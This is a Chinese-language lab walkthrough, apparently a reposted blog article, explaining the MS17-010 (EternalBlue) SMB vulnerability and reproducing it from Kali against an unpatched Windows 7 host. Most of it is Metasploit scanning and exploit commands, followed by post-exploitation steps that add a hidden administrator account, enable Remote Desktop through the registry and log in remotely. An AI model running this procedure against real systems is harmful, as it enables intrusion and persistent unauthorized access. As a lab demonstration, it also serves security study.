文章目錄

• • • 一、漏洞簡介
    • • 1、永恒之藍(lán)介紹:
      • 2、漏洞原理：
      • 3、影響版本：
    • 二、漏洞復(fù)現(xiàn)
    • • 復(fù)現(xiàn)環(huán)境：
      • 復(fù)現(xiàn)過程：
      • • 1、主機(jī)發(fā)現(xiàn)：
        • 2、使用MSF的永恒之藍(lán)漏洞模塊
        • 3、使用ms17-010掃描模塊，對靶機(jī)進(jìn)行掃描：
        • 4、使用ms17-010攻擊模塊，對靶機(jī)進(jìn)行攻擊
        • 5、得到靶機(jī)shell
        • 6、通過shell對靶機(jī)進(jìn)行控制

一、漏洞簡介

1、永恒之藍(lán)介紹:

永恒之藍(lán)漏洞（MS17-010），它的爆發(fā)源于 WannaCry 勒索病毒的誕生，該病毒是不法分子利用NSA（National Security Agency，美國國家安全局）泄露的漏洞 “EternalBlue”（永恒之藍(lán)）進(jìn)行改造而成 。勒索病毒的肆虐，儼然是一場全球性互聯(lián)網(wǎng)災(zāi)難，給廣大電腦用戶造成了巨大損失。據(jù)統(tǒng)計(jì)，全球100多個(gè)國家和地區(qū)超過10萬臺(tái)電腦遭到了勒索病毒攻擊、感染。

2、漏洞原理：

永恒之藍(lán)漏洞通過 TCP 的445和139端口，來利用 SMBv1 和 NBT 中的遠(yuǎn)程代碼執(zhí)行漏洞，通過惡意代碼掃描并攻擊開放445文件共享端口的 Windows 主機(jī)。只要用戶主機(jī)開機(jī)聯(lián)網(wǎng)，即可通過該漏洞控制用戶的主機(jī)。不法分子就能在其電腦或服務(wù)器中植入勒索病毒、竊取用戶隱私、遠(yuǎn)程控制木馬等惡意程序。

3、影響版本：

目前已知受影響的 Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

二、漏洞復(fù)現(xiàn)

復(fù)現(xiàn)環(huán)境：

• 攻擊機(jī)：Linux kali（IP：192.168.50.130）

• 靶機(jī)：Windows 7 Enterprise with Service Pack 1 (x64)（IP：192.168.50.132）

實(shí)驗(yàn)條件：兩臺(tái)機(jī)子可以相互ping通，并且靶機(jī)（無補(bǔ)丁）開啟了445端口，防火墻是關(guān)閉的！

復(fù)現(xiàn)過程：

1、主機(jī)發(fā)現(xiàn)：

登錄 kali linux，用 nmap 探測本網(wǎng)段存活主機(jī)

nmap 192.168.50.0/24

可以看到，靶機(jī)的445端口是開放的，而永恒之藍(lán)利用的就是445端口的SMB服務(wù)，操作系統(tǒng)溢出漏洞。

2、使用MSF的永恒之藍(lán)漏洞模塊

打開MSF：msfconsole

MSF每次打開都會(huì)有一個(gè)隨機(jī)的界面，花里胡哨的，不過我喜歡 ~(￣▽￣)~

搜索 ms17-010 代碼：search ms17_010

這里可以得到一些工具，其中 auxiliary/scanner/smb/smb_ms17_010 是永恒之藍(lán)掃描模塊， exploit/windows/smb/ms17_010_eternalblue 是永恒之藍(lán)攻擊模塊。一般配合使用，前者先掃描，若顯示有漏洞，再進(jìn)行攻擊。

3、使用ms17-010掃描模塊，對靶機(jī)進(jìn)行掃描：

使用模塊：

use auxiliary/scanner/smb/smb_ms17_010

設(shè)置目標(biāo)IP或網(wǎng)段：

set rhosts 192.168.50.132

執(zhí)行掃描：run

如果出現(xiàn)以上情況，就說明存在漏洞。

4、使用ms17-010攻擊模塊，對靶機(jī)進(jìn)行攻擊

使用模塊：

use exploit/windows/smb/ms17_010_eternalblue

設(shè)置攻擊目標(biāo)IP

set rhosts 192.168.50.132

可以使用 show options 命令查看設(shè)置選項(xiàng)

執(zhí)行攻擊：exploit 或 run

攻擊完成！

5、得到靶機(jī)shell

輸入：chcp 65001 可解決亂碼問題。

解決了，但是沒有完全解決。

6、通過shell對靶機(jī)進(jìn)行控制

1、創(chuàng)建新用戶 ，語法：net user 用戶名 密碼 /add

輸入：

net user sss 123456 /add

查看用戶信息，命令：net user

可以看到添加成功了。

2、將用戶sss添加至管理員組

net localgroup administrators sss /add

3、開啟遠(yuǎn)程桌面功能

查看3389端口狀態(tài)：netstat -ano

看到3389端口并沒有開啟，開啟3389端口，命令：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

3389端口開啟。

4、遠(yuǎn)程桌面連接靶機(jī)

rdesktop 192.168.50.132:3389

使用創(chuàng)建的sss用戶進(jìn)行登錄

登陸成功！

上面這是一個(gè)簡單的演示，告訴大家這個(gè)漏洞很危險(xiǎn)，真正的攻擊能做的事情更多。

總結(jié)

以上是生活随笔為你收集整理的MS17-010（永恒之蓝）漏洞分析与复现的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。